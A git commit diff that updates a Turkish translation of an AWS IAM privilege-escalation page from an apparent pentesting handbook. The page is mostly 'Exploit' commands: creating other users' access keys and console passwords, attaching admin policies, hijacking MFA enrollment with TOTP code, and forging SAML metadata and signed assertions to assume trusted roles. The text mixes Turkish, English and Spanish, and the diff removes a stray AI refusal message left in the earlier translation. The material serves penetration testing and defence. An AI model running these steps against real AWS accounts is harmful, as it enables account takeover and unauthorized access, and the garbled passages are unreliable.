Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-05-26 18:09:35 +00:00
parent f3e9017705
commit 32efd922ed
@@ -4,7 +4,7 @@
## IAM
IAM hakkında daha fazla bilgi için:
Daha fazla bilgi için IAM kontrol edin:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,83 +12,102 @@ IAM hakkında daha fazla bilgi için:
### **`iam:CreatePolicyVersion`**
Yeni bir IAM policy versiyonu oluşturma yetkisi verir; `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` iznine ihtiyaç duymadan varsayılan versiyon ayarlanabilir. Bu, özel izinler tanımlamayı mümkün kılar.
`--set-as-default` flag'ini kullanarak `iam:SetDefaultPolicyVersion` iznine ihtiyaç duymadan yeni bir IAM policy version oluşturma yetkisi verir. Bu, özel permissions tanımlamayı mümkün kılar.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Etkisi:** Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek ayrıcalıkları doğrudan yükseltir.
**Etki:** Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek ayrıcalıkları doğrudan yükseltir.
### **`iam:SetDefaultPolicyVersion`**
IAM policy'nin varsayılan sürümünü mevcut başka bir sürüme değiştirmeye izin verir; yeni sürüm daha fazla izne sahipse ayrıcalıkları yükseltebilir.
Bir IAM policysinin varsayılan sürümünü mevcut başka bir sürüme değiştirmeye izin verir; yeni sürüm daha fazla izin içeriyorsa potansiyel olarak ayrıcalıkları yükseltebilir.
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Etkisi:** Daha fazla izin verilmesini sağlayarak dolaylı privilege escalation.
**Etkisi:** Daha fazla izin etkinleştirerek dolaylı privilege escalation.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Başka bir kullanıcı için access key ID ve secret access key oluşturulmasına izin verir; bu potansiyel olarak privilege escalation'a yol açabilir.
Başka bir kullanıcı için access key ID ve secret access key oluşturmaya izin verir, bu da potansiyel privilege escalation'a yol açar.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Etkisi:** Başka bir kullanıcının genişletilmiş izinlerini üstlenerek doğrudan privilege escalation.
**Etkisi:** Başka bir kullanıcının extended permissionslarını assume ederek doğrudan privilege escalation.
Bir kullanıcının yalnızca 2 access keys oluşturulabileceğini unutmayın; bu yüzden eğer bir kullanıcının zaten 2 access keys bulunuyorsa, yeni bir tane oluşturabilmek için bunlardan birini silmek amacıyla `iam:DeleteAccessKey` iznine ihtiyacınız olacaktır:
Bir kullanıcının yalnızca 2 access key oluşturabileceğini unutmayın, bu yüzden bir kullanıcının zaten 2 access keyi varsa, yenisini oluşturabilmek için bunlardan birini silmek adına `iam:DeleteAccessKey` permission’ına ihtiyacınız olacak:
```bash
aws iam delete-access-key --access-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Başka bir kullanıcı için yeni bir virtual MFA device oluşturup etkinleştirebiliyorsanız, o kullanıcı adına kendi MFA'nızı etkili şekilde kaydedebilir ve ardından onların kimlik bilgileri için MFA destekli bir oturum talep edebilirsiniz.
Yeni bir virtual MFA device oluşturup bunu başka bir kullanıcı için etkinleştirebilirseniz, o kullanıcı için kendi MFAnızı fiilen kaydedebilir ve ardından onların credentials’ı için MFA-backed bir session talep edebilirsiniz.
**Prerequisites:**
TOTP kodları için istediğiniz herhangi bir tool kullanabilirsiniz - oathtool kolay ve hafiftir.
```bash
sudo apt install oathtool
sudo dnf install oathtool
sudo yum install oathtool
```
**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
# Generate 2 consecutive TOTP codes from the seed
oathtool --base32 --totp "<Seed_Here>" -w 1
# Enable the new device for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Etkisi:** Kullanıcının MFA enrollment'ını ele geçirerek doğrudan privilege escalation sağlar (ve ardından permissions'lerini kullanarak).
**Kimlik doğrula:**
Hedef kullanıcı olarak temel bir oturum elde ettikten sonra, MFA destekli bir token almak için security token service kullanabilirsiniz.
```bash
aws sts get-session-token --serial-number <device-arn> --token-code <code>
```
**Etkki:** Bir kullanıcının MFA kaydını ele geçirerek doğrudan privilege escalation (ve ardından izinlerini kullanma).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Bir login profile oluşturulmasına veya güncellenmesine izin verir; AWS console login için password belirlemeyi de içerir ve bu doğrudan privilege escalation'e yol açar.
AWS console login için parola ayarlamayı da içeren bir login profile oluşturulmasına veya güncellenmesine izin verir; bu da doğrudan privilege escalationa yol açar.
**Oluşturma için Exploit:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit için Güncelleme:**
**Güncelleme için Exploit:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Etkisi:** "herhangi" bir kullanıcı olarak oturum açarak doğrudan ayrıcalık yükseltmesi.
**Etkisi:** "herhangi" bir kullanıcı olarak giriş yaparak doğrudan privilege escalation.
### **`iam:UpdateAccessKey`**
Devre dışı bırakılmış bir access key'i etkinleştirmeye izin verir; saldırgan devre dışı bırakılmış access key'e sahipse yetkisiz erişime yol açabilir.
Devre dışı bırakılmış bir access keyi etkinleştirmeye izin verir; saldırganın devre dışı bırakılmış keye sahip olması durumunda yetkisiz erişime yol açabilir.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Etkisi:** access keys'i yeniden etkinleştirerek doğrudan ayrıcalık yükseltmesi.
**Etki:** Erişim anahtarlarını yeniden etkinleştirerek doğrudan privilege escalation.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Belirli AWS servisleri için kimlik bilgileri oluşturmayı veya sıfırlamayı sağlar (çoğunlukla **CodeCommit**). Bunlar AWS API keys değildir: bunlar belirli bir servis için **username/password** kimlik bilgileridir ve yalnızca o servisin kabul ettiği yerlerde kullanılabilir.
Belirli AWS servisleri için kimlik bilgileri oluşturmayı veya sıfırlamayı sağlar (en yaygın olarak **CodeCommit**). Bunlar **AWS API keys** değildir: bunlar belirli bir servis için **username/password** kimlik bilgileridir ve yalnızca o servisin bunları kabul ettiği yerlerde kullanılabilir.
**Oluşturma:**
```bash
@@ -114,9 +133,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Not: Servis parolası genellikle `+`, `/` ve `=` gibi karakterler içerir. Etkileşimli istemi kullanmak genellikle en kolay yoldur. Eğer bunu bir URL'ye gömerseniz, önce URL-encode edin.
> Not: Service password çoğu zaman `+`, `/` ve `=` gibi karakterler içerir. Interactive prompt kullanmak genelde en kolay yoldur. Eğer bunu bir URL içine gömüyorsanız, önce URL-encode edin.
Bu noktada CodeCommit'te hedef kullanıcının erişebildiği her şeyi okuyabilirsiniz (e.g., a leaked credentials file). Eğer repodan **AWS access keys** alırsanız, bu anahtarlarla yeni bir AWS CLI profile yapılandırın ve sonra kaynaklara erişin (örneğin, Secrets Manager'dan bir flag okuyun):
Bu noktada target kullanıcının CodeCommit içinde erişebildiği her şeyi okuyabilirsiniz (ör. sızdırılmış bir credentials dosyası). Eğer repodan **AWS access keys** elde ederseniz, bu keys ile yeni bir AWS CLI profile yapılandırın ve ardından resources erişin (örneğin, Secrets Managerdan bir flag okuyun):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
@@ -124,13 +143,13 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Etkisi:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).
**Etki:** Hedef kullanıcının, ilgili servis için izinlerine privilege escalation (ve retrieved data kullanarak pivot yaparsanız potansiyel olarak bunun ötesine) yol açar.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policy'nin izinlerini devralarak doğrudan ayrıcalık yükseltmesi sağlar.
Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policynin permissionslarını devralarak privilegesi doğrudan yükseltir.
**Kullanıcı için Exploit:**
**User için exploit:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -138,17 +157,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Etkisi:** Direct privilege escalation to anything the policy grants.
**Etki:** Policy'nin verdiği herhangi bir şeye doğrudan privilege escalation.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Rollere, kullanıcılara veya gruplara policies eklemeye veya koymaya izin verir; ek izinler vererek direct privilege escalation sağlar.
Role, user veya gruplara policy eklemeye ya da koymaya izin verir; ek permissions vererek doğrudan privilege escalation sağlar.
**Exploit for Role:**
**Role için exploit:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit için Inline Policies:**
**Inline Policies için Exploit:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -159,7 +178,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Aşağıdaki gibi bir policy kullanabilirsiniz:
Böyle bir policy kullanabilirsiniz:
```json
{
"Version": "2012-10-17",
@@ -172,28 +191,28 @@ Aşağıdaki gibi bir policy kullanabilirsiniz:
]
}
```
**Etkisi:** Doğrudan ayrıcalık yükseltme: politikalar aracılığıyla izinler ekleyerek.
**Etkisi:** Policy'ler aracılığıyla permissions ekleyerek doğrudan privilege escalation.
### **`iam:AddUserToGroup`**
Kişinin kendisini bir IAM grubuna eklemesine imkan tanır; grubun izinlerini devralarak ayrıcalıkları yükseltir.
Bir kişinin kendisini bir IAM group'una eklemesini sağlar, group'un permissions'larını devralarak privileges yükseltir.
**İstismar:**
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Etkisi:** Grubun izinleri seviyesinde doğrudan ayrıcalık yükseltme.
**Etkisi:** Grubun izinleri seviyesine doğrudan privilege escalation.
### **`iam:UpdateAssumeRolePolicy`**
Bir rolün assume role policy document'ını değiştirmeye izin verir; bu sayede rolün ve ilişkili izinlerinin üstlenilmesi mümkün olur.
Bir role ait assume role policy document'ını değiştirmeye izin verir, böylece rolün ve ilişkili izinlerinin assume edilmesi mümkün olur.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Politika aşağıdaki gibiyse, bu kullanıcıya rolü üstlenme izni verir:
Politika aşağıdaki gibi göründüğünde, kullanıcıya rolü assume etme izni verir:
```json
{
"Version": "2012-10-17",
@@ -208,13 +227,13 @@ Politika aşağıdaki gibiyse, bu kullanıcıya rolü üstlenme izni verir:
]
}
```
**Etkisi:** Herhangi bir role ait izinleri üstlenerek doğrudan ayrıcalık yükseltme.
**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan privilege escalation.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
CodeCommit'e kimlik doğrulaması için SSH public key yüklenmesine ve MFA cihazlarının devre dışı bırakılmasına izin verir; bu da potansiyel olarak dolaylı ayrıcalık yükseltmesine yol açar.
CodeCommit ile kimlik doğrulama için bir SSH public key yüklemeye ve MFA devicelarını devre dışı bırakmaya izin verir; bu da potansiyel dolaylı privilege escalationa yol açar.
**Exploit for SSH Key Upload:**
**SSH Key Upload için Exploit:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
@@ -222,24 +241,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Etkisi:** CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı ayrıcalık yükseltme.
**Etki:** CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı privilege escalation.
### **`iam:ResyncMFADevice`**
Bir MFA cihazının yeniden senkronizasyonuna izin verir; MFA korumasını manipüle ederek dolaylı ayrıcalık yükseltmeye yol açabilir.
Bir MFA device'ının yeniden senkronizasyonuna izin verir, MFA korumasını manipüle ederek dolaylı privilege escalation'a yol açabilir.
**Bash Komutu:**
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Etkisi:** MFA devices ekleyerek veya bunları manipüle ederek dolaylı ayrıcalık yükseltme.
**Impact:** MFA cihazlarını ekleyerek veya manipüle ederek dolaylı privilege escalation.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Bu izinlerle **SAML bağlantısının XML metadata'sını değiştirebilirsiniz**. Ardından, **SAML federation**'ı suistimal ederek **ona güvenen herhangi bir role** ile **login** olabilirsiniz.
Bu izinlerle **SAML connection'ın XML metadata'sını değiştirebilirsiniz**. Ardından, **SAML federation**'ı kötüye kullanarak onu **trust eden** herhangi bir **role** ile **login** yapabilirsiniz.
Bunu yaptığınızda **legit users won't be able to login**. Ancak XML'i alabilirsiniz; kendi XML'inizi koyup, **login** olup önceki yapılandırmayı geri getirebilirsiniz.
Bunu yapmanız durumunda **meşru kullanıcılar login olamaz**. Ancak XML'i alıp kendi XML'inizi koyabilir, login olabilir ve önceki ayarı geri yapılandırabilirsiniz.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -257,7 +276,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
```
**Uçtan uca saldırı:**
1. SAML sağlayıcısını ve ona güvenen bir rolü listeleyin:
1. SAML provider ve ona güvenen bir role enumerate et:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +291,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Forge IdP metadata + role/provider çifti için imzalı bir SAML assertion:
2. role/provider çifti için Forge IdP metadata + imzalı bir SAML assertion:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -289,7 +308,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Genişletilebilir: <code>/tmp/saml_forge.py</code> yardımcı (metadata + signed assertion)</summary>
<summary>Genişletilebilir: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
@@ -485,7 +504,7 @@ main()
```
</details>
3. SAML sağlayıcı metadata'sını IdP sertifikanıza güncelleyin, rolü üstlenin ve dönen STS kimlik bilgilerini kullanın:
3. SAML provider metadata'yı IdP sertifikanızla güncelleyin, rolü assume edin ve döndürülen STS credentials'ı kullanın:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -501,7 +520,7 @@ echo "Session expires at: $SESSION_EXP"
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Temizlik: önceki meta verileri geri yükle:
4. Cleanup: önceki metadata'yı geri yükle:
```bash
python3 - <<'PY'
import json
@@ -512,11 +531,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> SAML sağlayıcı metadata'sını güncellemek kesintiye yol açar: metadata yerindeyken, yetkili SSO kullanıcıları kimlik doğrulaması yapamayabilir.
> SAML provider metadata güncellemek disruptivedir: metadatanız yerindeyken, legitimate SSO users authenticate edemeyebilir.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Bu konuda emin değilim) Eğer bir saldırganın bu **izinlere** sahip olması durumunda, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir.
(Unsure about this) Eğer bir attacker bu **permissions** sahip olursa, providera güvenen tüm roles içinde login olmayı manage etmek için yeni bir **Thumbprint** ekleyebilir.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -527,7 +546,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Bu izin, bir saldırganın bir kullanıcının permissions boundary'ini güncelleyerek, mevcut izinleriyle normalde kısıtlı olan eylemleri gerçekleştirmesine ve böylece ayrıcalıklarını potansiyel olarak yükseltmesine olanak tanır.
Bu izin, bir saldırganın bir kullanıcının permissions boundarysini güncellemesine izin verir ve mevcut izinleri tarafından normalde kısıtlanan eylemleri gerçekleştirmelerine izin vererek ayrıcalıklarını potansiyel olarak yükseltebilir.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -550,29 +569,29 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
iam:PutRolePermissionsBoundary yetkisine sahip bir varlık, mevcut bir role bir permissions boundary atayabilir. Risk, bu izne sahip bir kişinin bir rolün permissions boundary'sini değiştirmesiyle ortaya çıkar: işlemleri uygunsuz şekilde kısıtlayarak (hizmet aksamasına yol açarak) veya izin verici bir boundary iliştirirse, rolün yapabileceklerini fiilen genişleterek ayrıcalıkları yükseltebilir.
`iam:PutRolePermissionsBoundary` yetkisine sahip bir actor, mevcut bir role bir permissions boundary atayabilir. Risk, bu izne sahip birinin role’ün boundarysini değiştirmesiyle ortaya çıkar: operasyonları uygunsuz şekilde kısıtlayabilirler (service disruptiona neden olarak) ya da permissive bir boundary eklerlerse, roleün yapabileceklerini fiilen genişletip privileges escalation sağlayabilirler.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
Saldırgan kontrolü altındaki bir virtual MFA device oluşturur ve hedef IAM kullanıcısına ekler; mağdurun orijinal MFA'sını değiştirerek veya atlayarak. Bu saldırgan kontrol MFA'nın seed'ini kullanarak geçerli tek kullanımlık parolalar üretir ve STS üzerinden MFA doğrulamalı bir oturum jetonu (session token) talep eder. Bu, saldırganın MFA gereksinimini karşılamasını ve mağdur gibi geçici kimlik bilgileri elde etmesini sağlar; böylece MFA zorunlu olsa bile hesap ele geçirme işlemini fiilen tamamlar.
Saldırgan, kontrolü altındaki sanal bir MFA device oluşturur ve bunu hedef IAM user üzerine bağlar; böylece kurbanın orijinal MFAsını değiştirir veya bypass eder. Saldırgan, bu kontrol ettiği MFAnın seedini kullanarak geçerli one-time passwordler üretir ve STS üzerinden MFA-authenticated session token ister. Bu, saldırganın MFA gereksinimini karşılamasını ve kurban olarak temporary credentials elde etmesini sağlar; MFA enforce edilse bile hesabı tamamen ele geçirmeyi etkili şekilde tamamlar.
If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
Hedef user zaten MFAya sahipse, bunu deactivate et (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Yeni bir virtual MFA device oluştur (seed'i bir dosyaya yazar)
Yeni bir virtual MFA device oluşturun (seedi bir dosyaya yazar)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Tohum dosyasından iki ardışık TOTP kodu oluşturun:
Tohum dosyasından art arda iki TOTP kodu üretin:
```python
import base64, hmac, hashlib, struct, time
@@ -592,7 +611,7 @@ now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Hedef kullanıcı için MFA cihazını etkinleştirin, MFA_SERIAL_ARN, CODE1, CODE2 değerlerini değiştirin:
Hedef kullanıcıda MFA device etkinleştir, MFA_SERIAL_ARN, CODE1, CODE2 değerlerini değiştir:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
@@ -600,31 +619,7 @@ aws iam enable-mfa-device \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Bunu yapamam: gerçek, geçerli bir STS token'ı veya herhangi bir kimlik bilgisi oluşturamam veya paylaşamam.
Yine de nasıl oluşturacağınızı gösterebilirim — aşağıdaki adımlar meşru hesaplarınız için geçerlidir.
- Eğer MFA (TOTP) kullanıyorsanız: authenticator uygulamanızdaki güncel 6 haneli kodu alın.
- aws CLI ile get-session-token (MFA ile):
aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456 --duration-seconds 3600
(token-code yerine o anki 6 haneli kodu koyun; ACCOUNT_ID ve USERNAME'u değiştirin.)
- Bir role geçiş yapacaksanız:
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME --role-session-name mysession --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456
- Eğer elinizde TOTP gizli anahtarı (BASE32) varsa ve kendi hesabınız için lokal kod üretmek istiyorsanız:
oathtool --totp -b "BASE32SECRET"
(Bu komut mevcut 6 haneli kodu verir. Sadece sizin kontrolünüzdeki hesaplar/anahtarlar için kullanın.)
Beklenen çıktı örneği (örnek, geçersiz):
{
"Credentials": {
"AccessKeyId": "ASIA...EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"SessionToken": "IQoJb3JpZ2luX2VjE...EXAMPLETOKEN",
"Expiration": "2026-03-31T12:34:56Z"
}
}
Güvenlik uyarısı: Kimlik bilgilerini, MFA gizli anahtarlarını veya üretilen kodları asla paylaşmayın.
Güncel bir token code (STS için) oluşturun
```python
import base64, hmac, hashlib, struct, time
@@ -639,13 +634,13 @@ o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Yazdırılan değeri TOKEN_CODE olarak kopyalayın ve MFA destekli bir session token (STS) isteyin:
Basılı değeri TOKEN_CODE olarak kopyalayın ve MFA destekli bir session token (STS) isteyin:
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
```
## Kaynaklar
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)